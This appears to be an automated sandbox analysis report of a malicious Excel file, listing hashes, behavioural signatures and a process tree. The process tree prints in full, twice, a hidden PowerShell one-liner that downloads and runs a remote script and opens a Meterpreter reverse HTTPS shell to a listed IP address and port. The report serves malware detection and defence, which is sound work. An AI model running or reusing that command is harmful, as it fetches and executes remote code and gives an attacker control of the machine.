Analysis
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max time kernel
46s -
max time network
16s -
platform
windows10-2004_x64 -
resource
win10v2004-20240708-en -
resource tags
arch:x64arch:x86image:win10v2004-20240708-enlocale:en-usos:windows10-2004-x64system -
submitted
08/07/2024, 21:57
Behavioral task
behavioral1
Sample
f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55.xls
Resource
win10v2004-20240708-en
General
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Target
f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55.xls
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Size
35KB
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MD5
37c6ff0b9bc51d0fcb452256f18a598b
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SHA1
53eb945d5f264f9bce3ec8da311544d3aa6d3f4d
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SHA256
f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55
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SHA512
6c21282c8a5052703299122cd25f03ba1ffccbbdcfe670ae68f001953e246695b1685a37669061a1eb7cd8893776da04f963a1592a4fdbca1e514601ef42a632
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SSDEEP
768:Ftvo+/zZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJ9QCv/1f93:t1k3hbdlylKsgqopeJBWhZFGkE+cL2NO
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 704 1220 powershell.exe 80 Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1984 764 wscript.exe 79 -
Blocklisted process makes network request 2 IoCs
flow pid Process 6 704 powershell.exe 7 1304 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 704 powershell.exe 1304 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3310979990-555183016-1244931625-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 5 raw.githubusercontent.com 6 raw.githubusercontent.com 7 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 764 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 704 powershell.exe 704 powershell.exe 1304 powershell.exe 1304 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 704 powershell.exe Token: SeDebugPrivilege 1304 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE 764 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 764 wrote to memory of 1984 764 EXCEL.EXE 86 PID 764 wrote to memory of 1984 764 EXCEL.EXE 86 PID 1984 wrote to memory of 1304 1984 wscript.exe 87 PID 1984 wrote to memory of 1304 1984 wscript.exe 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f329e4b08afc7dca5caa97e88e589f237fc60d0178addb01a769f17691981d55.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1304
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:704
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD527e6850e53474454c45c139761ea5f40
SHA1e51374824877391225fdda3909a29cecb4f09188
SHA256c1e5abb6a4a6559b45d5fb8997e29cf25a489cd7835573a0c96f2913afb822b6
SHA51234c625133ff7b3aa0fab62028fa7df5f3751e4a41d2a98ee892013f438ffe601c5fbbab24312013e4812fc883cf3e495a4d175775a9020a098ce02cf27588a0c
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78